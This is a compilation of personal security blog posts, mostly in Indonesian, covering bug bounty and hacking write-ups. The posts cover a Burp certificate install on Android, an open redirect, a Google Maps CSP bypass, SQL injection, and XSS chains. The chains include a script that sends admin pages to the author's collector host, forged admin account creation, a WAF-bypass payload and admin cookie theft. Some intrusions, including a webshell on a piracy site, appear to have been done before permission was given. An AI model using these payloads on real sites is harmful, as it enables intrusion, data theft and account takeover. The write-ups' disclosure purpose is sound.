Android 12 Burp Certificate (Tested on Memu) - I’m using Android 12 and encountering an issue installing the Burp certificate. The system stores root CA certificates in the /system/etc/security/cacerts directory, which is read-only and prevents direct modification. I found another person facing the same issue here: Reddit - Unable to remount the system folder as RW .

For intercepting and analyzing traffic with Burp Suite, you need to add Burp’s CA certificate so that the device trusts the proxy. Here’s how to achieve that.

Prepare Cert File
Export your Burp Suite CA certificate in DER format (e.g., cacert.der).

Convert the Certificate to PEM and Generate Hash
Use the following commands:

# Convert DER to PEM
openssl x509 -inform DER -in cacert.der -out cacert.pem

# Generate old subject hash (used by Android)
openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1

# Rename the file to <hash>.0
mv cacert.pem <hash>.0

Bypass Read-Only with tmpfs
Since the cacerts directory is read-only, we can overlay it with tmpfs to allow writing. Below is a sample script:

#!/system/bin/sh
# Create temporary directory
mkdir -p -m 700 /data/local/tmp/htk-ca-copy
# Copy existing system certificates
cp /system/etc/security/cacerts/* /data/local/tmp/htk-ca-copy/
# Mount tmpfs over the system cert directory
mount -t tmpfs tmpfs /system/etc/security/cacerts
# Restore the original certificates
mv /data/local/tmp/htk-ca-copy/* /system/etc/security/cacerts/
# Add the new certificate
cp "$1" /system/etc/security/cacerts/
# Set proper permissions and SELinux context
chown root:root /system/etc/security/cacerts/*
chmod 644 /system/etc/security/cacerts/*
chcon u:object_r:system_file:s0 /system/etc/security/cacerts/*
# Clean up temporary directory
rm -r /data/local/tmp/htk-ca-copy
echo "System cert successfully injected"

Save this script as cert.sh and run it: sh cert.sh <hash>.0

Notes

For some reason, this certificate will disappear if the emulator is restarted.
But, if it works, don’t touch it.

hehe

Salah satu contoh yang bisa diangkat adalah ketika sebuah aplikasi mengizinkan redirect ke domain eksternal tanpa validasi struktur URL. Misalnya, ada link seperti https://target.tld//poc.abay.sh//. Sekilas, link ini terlihat sah karena masih mengandung domain resmi. Tapi ketika diklik, user langsung dilempar ke poc.abay.sh, domain pihak ketiga yang isinya bisa dikontrol penuh oleh attacker.

Masalahnya bukan hanya di redirect-nya. Celah ini juga bisa dimanfaatkan untuk manipulasi tampilan link di media sosial. Platform seperti Facebook, Twitter, LinkedIn menggunakan mekanisme Open Graph Scraping untuk menghasilkan preview saat sebuah link dibagikan. Jadi, walaupun link tersebut sebenarnya akan membawa ke domain eksternal, preview yang ditampilkan tetap mengambil metadata dari domain target.tld. Judul, deskripsi, dan gambar yang muncul semua terlihat seperti berasal dari sumber resmi.

Untuk pengguna awam, hal ini bisa cukup meyakinkan. Mereka tidak akan sadar kalau link tersebut sebenarnya sudah dimanipulasi. Dalam skenario phishing, ini bisa jadi pintu masuk yang sangat efektif. Bayangkan saja ada promosi palsu, giveaway fiktif, atau halaman login tiruan, semuanya dibungkus dalam URL yang terlihat kredibel.

Selain ancaman phishing, penyalahgunaan seperti ini juga bisa merusak reputasi dari pemilik domain aslinya. Jika link seperti itu menyebar luas dan dikaitkan dengan aktivitas scam atau malware, kepercayaan publik terhadap brand bisa menurun. Apalagi kalau munculnya di platform publik yang ramai digunakan.

Eskalasi Resiko Open Redirect

Saya membuat 1 halaman yang berisi HTML sederhana dengan judul, deskripsi dan image untuk diambil oleh domain target.

Contoh yang saya gunakan sebagai bahan untuk laporan:

https://domain.tld//poc.abay.sh/situs-resmi//

Saat dibuka, user langsung dialihkan. Dan kalau kita masukkan ke online-tool seperti https://socialmediasharepreview.com, kita akan melihat preview seolah-olah itu konten dari target.tld, padahal bukan. Karena title, description dan thumbnailnya diambil dari poc.abay.sh/situs-resmi.

Penutup

Celah ini mungkin kelihatan sepele, tapi dampaknya bisa panjang. Perusahaan yang bisa membuka program bug bounty adalah perusahaan yang cukup besar untuk memperhatikan celah yang punya resiko terhadap kredibilitas mereka. Dan di dunia digital, terutama dari sudut pandang brand, kredibilitas itu segalanya.

Kapan lagi Open Redirect jadi P2? Hehe.

Perhatikan parameter ?callback=.

https://maps.googleapis.com/maps/vt?pb=!1m4!1m3!1i18!2i41913!3i101344!1m4!1m3!1i18!2i41913!3i101345!1m4!1m3!1i18!2i41913!3i101346!1m4!1m3!1i18!2i41913!3i101347!1m4!1m3!1i18!2i41914!3i101344!1m4!1m3!1i18!2i41914!3i101345!1m4!1m3!1i18!2i41915!3i101344!1m4!1m3!1i18!2i41915!3i101345!1m4!1m3!1i18!2i41914!3i101346!1m4!1m3!1i18!2i41914!3i101347!1m4!1m3!1i18!2i41915!3i101346!1m4!1m3!1i18!2i41915!3i101347!1m4!1m3!1i18!2i41916!3i101344!1m4!1m3!1i18!2i41916!3i101345!1m4!1m3!1i18!2i41917!3i101344!1m4!1m3!1i18!2i41917!3i101345!1m4!1m3!1i18!2i41916!3i101346!1m4!1m3!1i18!2i41916!3i101347!1m4!1m3!1i18!2i41917!3i101346!1m4!1m3!1i18!2i41917!3i101347!1m4!1m3!1i18!2i41918!3i101344!1m4!1m3!1i18!2i41918!3i101345!1m4!1m3!1i18!2i41919!3i101344!1m4!1m3!1i18!2i41919!3i101345!1m4!1m3!1i18!2i41918!3i101346!2m3!1e0!2sm!3i713465927!3m12!2sen!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmapSatellite!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1&callback=payload

Saya juga sempat melaporkan ini via Google Bug Hunters, namun laporan saya dinyatakan duplicate. Saya mencoba bertanya apa yang terjadi dengan report awal. Dan berdasarkan informasi dari Google, laporan awal terkait ini juga ditutup dengan status Won’t Fix. Karena isunya bukan berada di Google Maps, melainkan di aplikasi yang menggunakan URL Google Maps yang sudah disusupi payload tersebut.

XSS via Google Maps

Karena laporan saya ditutup dengan status duplikat, saya mencoba menggunakan URL yang saya temukan ini di beberapa situs. Terutama target yang sudah mengimplementasikan Content-Security-Policy namun mengizinkan sumber maps.googleapis.com atau *.googleapis.com.

Dengan menggunakan URL tersebut, kita bisa melakukan bypass CSP dengan menggunakan payload yang kita sisipkan di endpoint Google Maps tadi.

Dengan catatan, domain maps.googleapis.com di-allow di header CSP yang digunakan target.

Saya membuat demo sederhana dari kegiatan yang saya lakukan di situs lain. Saya set CSP hanya boleh ke google.com dan maps.googleapis.com.

Sehingga jika kita sudah berhasil mendapatkan XSS dan kita ingin menggunakan payload yang memanggil script dari external source, request-nya akan ditolak.

Dan ketika kita menggunakan URL dari Google Maps tadi, saya mengubah value dari paramter callback menjadi payload sederhana: alert(document.domain);//. // di akhir saya tambahkan agar script lain dari endpoint tersebut tidak dieksekusi.

Penutup

Dengan adanya URL Google Maps tersebut, kita punya satu lagi metode untuk melakukan bypass CSP dalam konteks XSS, hehe.

Update
Ternyata payload bisa dipersingkat:

<script src="https://maps.googleapis.com/maps/api/js?callback=alert(document.domain);throw%20new%20Error(1);"></script>

Setelah dapet bukti valid, saya langsung melaporkan temuan ini ke Google lewat program bug bounty mereka di bughunters.google.com. Setelah beberapa waktu, saya mendapat balasan “🎉 Nice catch!”

Setelah beberapa hari (lagi) diskusi, mereka memutuskan, intinya, “Terima kasih atas laporannya, tapi domain ini sebenernya udah gak aktif dan harusnya udah dimatikan. Jadi, temuan lu valid, tapi sayangnya gak memenuhi syarat untuk dapet bounty. Sebagai apresiasi, kami kirim swag buat lu.”

Berikut write-up—tapi lebih mirip tulisan ngeluh—singkat tentang XSS yang saya temukan di salah satu aset Google tersebut.

Target Discovery

Saya mencari list domain yang masuk dalam scope dari program milik Google dan menemukan halaman Google and Alphabet Vulnerability Reward Program (VRP) Rules. Pada tabel “Reward amounts for security vulnerabilities” terdapat link menuju Github File milik Google berisi list External Domains Acquisitions.

curl https://raw.githubusercontent.com/google/bughunters/refs/heads/main/domain-tiers/external_domains_acquisitions.asciipb -s | grep -oP '(?<=fqdn: ")[^"]+'

Untuk mempersingkat, command tersebut bisa kita kombinasikan dengan httpx.

curl https://raw.githubusercontent.com/google/bughunters/refs/heads/main/domain-tiers/external_domains_acquisitions.asciipb -s | grep -oP '(?<=fqdn: ")[^"]+' | httpx -sc -td -silent

Command tersebut akan melakukan:

• -sc Menampilkan HTTP status code dari setiap request
• -td Menampilkan teknologi yang digunakan pada halaman tersebut
• -silent Menyembunyikan output verbose (hanya menampilkan hasil penting saja)

Dari banyaknya domain yang tersedia, saya memilih span.sproute.net.

Ngehek Google

Singkat cerita, dan karena screenshotnya udah ilang juga, saya menemukan parameter email yang hanya membutuhkan payload biasa untuk menjalankan XSS.

XSS adalah blablabla, saya melaporkan ini ke Google. 2 hari kemudian, email otomatis Google memberitahukan bahwa laporan saya dalam status Triaged. 4 hari kemudian, saya mendapatkan email “🎉 Nice catch!”

Asyiique gajian~

Di-prank Google?

Beberapa hari setelah “Nice Catch”, Google memberitahu bahwa Google VRP panel memutuskan bahwa tidak ada security impact pada laporan saya sehingga tidak memenuhi syarat untuk mendapat hadiah.

Saya membalas dengan beberapa hal yang saya yakini, yaitu; saya mengikuti peraturan domain yang masuk dalam scope program Google, pada Reward Table juga terdapat keterangan bahwa domain yang saya temukan memenuhi syarat untuk hadiah.

Google menjelaskan alasan kenapa laporan saya tidak memenuhi syarat, yaitu karena “The span.sproute.net service was shutdown but the DNS entry was not removed so it points to a random website hosted on AWS which isn’t owned by Google.” Lalu, Google menawarkan untuk memberi hadiah berupa swag.

Saya ngeyel. Karena menurut saya, saya melakukan hal yang sudah sesuai dengan aturan dan scope program mereka. Kalaupun memang ternyata servis dari domain tersebut sudah tidak aktif, maka harusnya Google men-takeout domain tersebut dari scope mereka, kan?

Ngeyel lagi.

Akhirnya karena lama-lama cape juga, yaudah lah ya, tapi ngambek dikit.

Lumayan lah ya dapet merchandise dari Google.

Penutup

Temuan ini berawal karena BU, diperdebatkan setelah kepala agak dingin karena seenggaknya punya profil di Google Bug Hunters, ditulis saat kepala sudah kelamaan dingin. Sampai jumpa pada tulisan selanjutnya.

Timeline

• Nov 23, 2024 — Report submitted.
• Nov 25, 2024 — Triaged
• Nov 29, 2024 — 🎉 Nice catch!
• Nov 30, 2024 - Dec 10, 2024 — Ngeyel
• Dec 11, 2024 — Pasrah
• Jan 4, 2025 — Fixed

Ada beberapa rencana yang udah kebayang, utamanya cuma soal ngedapetin tiket, hehe.

Dari hasil information gathering, diketahui situs Synchronize menggunakan CodeIgniter dengan beberapa fitur yang punya proses di belakang layar seperti login, pembelian tiket, dan lainnya.

SQL Injection Situs Synchronize

Di halaman depan situsnya ada informasi kalau ada free ticket yang bisa kita dapet dengan cara tertentu. Caranya tinggal cek langsung ke situsnya aja.

Di halaman tersebut terdapat form untuk validasi kode voucher yang kita punya. Iseng saya input karakter acak dan single quote di form tersebut, error yang muncul berbeda.

normal error

500 internal server error

Setelah mendapatkan error yg berbeda, saya merasa sudah menemukan inject point untuk melakukan SQL Injection. Untuk mempercepat waktu, saya menggunakan SQLMap untuk memastikan apakah url tersebut memang vuln.

Dan setelah menunggu beberapa waktu untuk SQLMap melakukan tugasnya, ternyata url tersebut vuln terhadap SQL Injection.

Saya melanjutkan sedikit untuk memastikan apakah admin bisa melakukan generate tiket atau apakah tiket tersimpan di database yang sama, dengan niat ingin mendapatkan impact penyerang bisa membuat tiketnya sendiri.

Saya memeriksa table tiket, datanya cukup lengkap. Kredensial admin, juga lengkap. Namun saya berpikir tidak seharusnya menampilkan screenshot di sini. Dari hasil yang sudah didapat, seharusnya bisa dilakukan login lalu membuat tiket gratis saya sendiri.

Karena sudah puas dengan validnya temuan ini, saya melaporkan temuan ini melalui email yang tercantum di situs Synchronize lalu diarahkan untuk menghubungi tim IT.

Daaan singkat cerita, niat awal dapat tiket gratis hasil generate sendiri, sekarang saya dapat tiket gratis hasil lapor finding, hehe.

Penutup

Temuan ini sudah diperbaiki oleh tim Synchronize dan tulisan ini sudah atas izin pihak Synchronize & Tim IT. Sekian tulisan singkat tentang Mendapatkan Tiket Gratis Tiket Synchronize Fest 2024, sampai jumpa pada tulisan selanjutnya.

In order to better illustrate and explain the implications of this discovery, I’ve taken the initiative to create a simple labs environment that replicates the conditions of this finding so screenshot and others are not taken from real site.

I received an XSS alert as usual after entering and submitting the payload in the form. The information I received was standard, including User-agent, User IP, DOM HTML Content, and more. However, I didn’t obtain any user Cookies from this process.

I found out that there are other pages in the HTML Content that only admins can visit, such as /manage/users, /manage/contents, etc.

When I realized that there were other pages potentially usable on the web, I attempted to make requests to those endpoints. I did this to obtain HTML content, allowing me to review what I might find on other pages.

I added the following script in the Custom Payload column of ezXSS. This will cause the target website to execute an additional payload that I provided, following the execution of the main payload.

fetch('http://xss-labs.test/admin/users')
  .then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok');
    }
    return response.text();
  })
  .then(html => {
    // Create a new XMLHttpRequest object
    var xhr = new XMLHttpRequest();
    // Specify the type of request, URL, and that it's asynchronous
    xhr.open("POST", "https://myezxss.domain/assets/logs/receiver.php", true);
    // Set request headers
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    // Define what happens on successful data submission
    xhr.onload = function () {
      if (xhr.status >= 200 && xhr.status < 300) {
        // Handle the response here
        console.log('Success:', xhr.responseText);
      } else {
        throw new Error('The request was successful, but the response status was not in the range 200-299');
      }
    };
    // Define what happens in case of an error
    xhr.onerror = function () {
      console.error('There was an error with the request.');
    };
    // Send the request with the HTML content
    xhr.send('htmlContent=' + encodeURIComponent(html));
  })
  .catch(error => {
    console.error('There was a problem with your fetch operation:', error);
  });

The provided script is straightforward JavaScript code. It sends a request to http://xss-labs.test/admin/users. Upon successful execution, it forwards the HTML content to https://myezxss.domain/assets/logs/receiver.php, which I’ve previously set up. The file receiver.php is a basic PHP file that receives the POST request and saves the data to an HTML file, allowing me to view and read the content.

While examining the content of the /admin/users page, I identified a hyperlink (highlighted in red text.) This link directed to a page specifically designed for the creation of a new user. Intrigued by this finding, I decided to put it to the test. I attempted to apply the same process I had used before to this particular URL, hoping to uncover additional insights or potential vulnerabilities.

After examining the input form closely, I created a script to submit the form with the name, username, and password fields. For the _token, I used the querySelector() method to retrieve its value.

// Prepare the URL
const url = 'http://xss-labs.test/admin/users/add';
// Create a FormData object and append the input values
let formData = new FormData();
formData.append('name', 'Hekermen');
formData.append('username', 'heker');
formData.append('password', 'heker');
formData.append('_token', document.querySelector('input[name="_token"]').value);
// Use the Fetch API to submit the form data
fetch(url, {
    method: 'POST',
    body: formData
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));

After applying the new payload in Custom Payload on ezXSS, I was able to create a new account on the target website. Now, all I need to do is log in using the username and password I created to access the admin panel of the target successfully.

Other references:

• Weaponised XSS Payloads — Luke Stephens (hakluke)
• Tricks for Weaponizing XSS — TrustedSec
• Creatively Chaining XSS Techniques — Walter Oberacher

Seperti yang kita tahu, LK21 sering bergonta ganti domain karena #####. Pada saat melakukan percobaan ini, LK21 sedang berada di domain lk21official.baby dan berubah menjadi nonton.lk21official.wiki saat saya sedang melakukan percobaan.

Disclaimer:
Tulisan ini hasil percobaan beberapa waktu lalu bersama Abdi Prawira yang awalnya tidak diniatkan untuk ditulis, karena itu beberapa screenshot di bawah bisa jadi tidak terlalu menjelaskan secara detail tentang apa yang sedang dilakukan.

Dari hasil information gathering, diketahui situs LK21 menggunakan Wordpress dengan tambahan beberapa custom php file untuk tujuan yang mungkin tidak disediakan oleh WordPress.

SQL Injection Situs LK21

Saya menemukan SQL Injection pada salah satu custom php file situs tersebut.

Karena situs LK21 menggunakan WordPress, saya mencoba untuk mendapatkan data dari table wp_users, namun tidak sampai membuang waktu untuk mencoba mendapatkan string asli dari kolom password.

Setelah percobaan lebih lanjut, diketahui user MySQL yang digunakan adalah DB Administrator. Saya mencoba upload shell menggunakan SQLMap melalui command --os-shell dan --file-write namun tidak berhasil karena user (Server User) mysql tidak mempunyai akses untuk membuat file pada direktori target.

Selanjutnya saya mencoba membaca beberapa file konfigurasi seperti file konfigurasi Nginx dan MySQL menggunakan command --file-read yang ternyata tidak terlalu berguna. Namun saya menemukan IP asli dari server tersebut pada file /etc/hosts.

Saya melanjutkan percobaan dengan melakukan directory scanning pada IP yang terdapat pada file sebelumnya. Dari hasil scanning, saya menemukan file adm.php yang berisi Adminer.

Adminer adalah sebuah aplikasi web open-source yang menyediakan antarmuka pengguna untuk mengelola database SQL dengan tampilan yang sederhana dan mudah digunakan.

Selanjutnya saya mencoba membaca file konfigurasi WordPress yang berada di wp-config.php. Sebelumnya saya mendapatkan full path dari file konfigurasi Nginx saat menemukan SQL Injection di atas.

Setelah mendapatkan informasi login database, saya menduplikasi user admin lalu mengubah username dan password user baru tersebut.

Saya berhasil login ke dashboard LK21.

Selanjutnya saya mencoba upload webshell melalui fitur upload plugin (bukan pada domain yang ada di screenshot atas—lupa skrinsut) dan file hasil upload akan berada pada direktori /wp-content/uploads/[bulan]/[tanggal]/namafile.php.

Saya sudah melaporkan temuan ini melalui akun Telegram LK21 yang terdapat pada situs dan sudah diberikan izin untuk mempublish tulisan tentang laporan tersebut.

Sekian tulisan singkat tentang SQL Injection to RCE pada Situs LK21, sampai jumpa pada tulisan selanjutnya.

Bonus:

Saat saya sudah berhasil upload webshell, saya melihat terdapat file konfigurasi untuk mengakses API CloudFlare. Yang artinya, saya bisa saja mengubah arah domain-domain yang ada di akun tersebut menuju server saya, hehe.

Tulisan ini sudah dipublikasi pada situs hekermen.com dengan judul SQL Injection to RCE Situs LK21.

Untuk mempermudah dan agar saya tidak perlu menyebut nama situsnya, mari kita sebut situs ini sebagai situsharam.com.

Setelah mencoba beberapa fitur seperti list actors/actress, kategori, pencarian, serta fitur yang membutuhkan autentikasi pengguna seperti edit profile, like, comment dan semacamnya, saya menemukan beberapa celah yang detailnya akan saya jelaskan di bawah ini.

Reflected XSS pada Halaman Pencarian

Celah pertama adalah Reflected XSS yang saya temukan di halaman pencarian. Payload yang saya gunakan adalah:

asd"><ScRiPt%20>alert(1);<%2fscript>

Saat mencoba, saya menemukan bahwa karakter / diblok oleh WAF sehingga saya coba untuk mem-bypass rule tersebut menggunakan karakter %2f. Dari temuan ini saya bisa menggunakan payload yang sudah disisipi script untuk mencuri cookie pengguna.

Pada kasus di dunia nyata, seorang penyerang akan menyisipkan javascript yang bertujuan untuk mencuri cookie pengguna dan beberapa data lain, lalu mengirimnya pada server penyerang.

Untuk melakukan ini, penyerang perlu mengirim URL (yang sudah disisipi payload) ke pengguna lain atau pemilik/admin dari situs ini. Lalu penyerang akan menggunakan data tersebut untuk masuk di situs target tanpa menggunakan username dan password.

Stored XSS pada Profile

Saya rasa kebanyakan bug bounty hunter (termasuk saya) akan mencoba memasukkan payload ke setiap form yang kami temui. Dengan modal “penting yakin”, saya mengisi "><h1>asdf</h1>" pada kolom nama di halaman Edit Profile.

Setelah menyimpan perubahan tersebut, kode HTML yang saya sisipkan dibaca oleh situs sehingga menandakan adanya potensi untuk Stored XSS.

Saya melanjutkan dengan memasukkan payload:

"><script src=//x.serversaya.com></script><x="

• "> = digunakan untuk keluar dari input form (<input>)
• <script src=//x.serversaya.com></script> = digunakan untuk memanggil script dari server saya (ezXSS)
• <x=" = digunakan untuk membuka kembali hasil escape dari input form, sehingga tidak ada “ type=”text” dst seperti screenshot di atas

Setelah beberapa waktu menunggu, saya mendapat notifikasi bahwa payload di atas ditemukan di domain lain (cp.situslain.com) yang mana adalah dashboard admin dari situsharam.com. Berikut detail laporan dari ezXSS saat payload saya ditemukan di dashboard admin (klik gambar untuk memperbesar).

Pada tangkapan layar di atas, terlihat ada cookie admin yang tertangkap oleh kode javascript yang saya panggil. Saya akan mencoba menggunakan Cookie tersebut untuk masuk ke https://cp.situslain.com/user/edit/{userid}.

Ketika mengakses https://cp.situslain.com/user/edit/{userid}, saya dialihkan ke halaman login https://cp.situslain.com/user/login.

Selanjutnya saya mencoba set cookie manual melalui Console pada inspect element dengan cara memasukkan kode javascript. Cookie ini berasal dari laporan ezXSS di atas:

document.cookie = 'PHPSESSID=lot4#######################';

Setelah Cookie di-set, saya mencoba mengulang lagi dan akhirnya berhasil membuka halaman https://cp.situslain.com/user/edit/{userid}.

Disclaimer
Level dan Credit yang tertera pada screenshot adalah pemberian admin (apresiasi, menurut istilah sekarang) setelah saya melaporkan temuan ini. Proses pelaporan tidak akan saya jelaskan di sini, hehe.

Sekian artikel “Mengintip Dashboard Admin Situs Haram”. Semoga ada yang bisa dipelajari dari artikel ini, selain akhirnya kita tahu bentuk halaman dashboard admin situs haram. Sampai jumpa di artikel selanjutnya.

Yang perlu kita lakukan adalah menambahkan function ini ke dalam functions.php yang ada pada tema Wordpress kita.

add_filter( 'rest_prepare_post', 'add_prev_next_to_rest' , 10, 3 );

function add_prev_next_to_rest( $response, $post, $request ) {
    global $post;
    // Get the next post.
    $next = get_adjacent_post( false, '', false );
    // Get the previous post.
    $previous = get_adjacent_post( false, '', true );
    // Only send id and slug (or null, if there is no next/previous post).
    $response->data['next'] = ( is_a( $next, 'WP_Post') ) ? array( "id" => $next->ID, "slug" => $next->post_name ) : null;
    $response->data['previous'] = ( is_a( $previous, 'WP_Post') ) ? array( "id" => $previous->ID, "slug" => $previous->post_name ) : null;

    return $response;
}

Function di atas akan menambahkan key baru ke dalam output JSON:

"next": {
    "id": 1728,
    "slug": "bekerja-dengan-remote-repository"
},
"previous": {
    "id": 1651,
    "slug": "deploy-jekyll-ke-vercel-dengan-mudah"
},

Saya mendapat sebuah case menambahkan atribut ke dalam tag <img> yang tidak mempunyai height dan width spesifik. Setelah mencoba beberapa cara, akhirnya ditemukan cara yang paling sederhana adalah menggunakan preg_replace().

Kode yang saya gunakan:

$html_content = preg_replace('/(<img(?:(?!height|width="\d+").)*?)(\/)?>/', '$1 width="35%" height="35%"></img>', $html_content);

Contoh keseluruhan kode:

<?php
$html_content = '
<!DOCTYPE html>
<html>
<head>
	<title>Title</title>
</head>
<body>
	<img src="https://assets.codelatte.net/images/uploads/dino.jpeg" class="ini-anggep-aja-class bla-bla">
	<br/>
	<img src="https://assets.codelatte.net/images/uploads/dinoo.jpeg" class="ini-anggep-aja-class bla-bla">
</body>
</html>';

$html_content = preg_replace('/(<img(?:(?!height|width="\d+").)*?)(\/)?>/', '$1 width="35%" height="35%"></img>', $html_content);
echo $html_content;

Hasilnya seperti yang terlihat di bawah ini.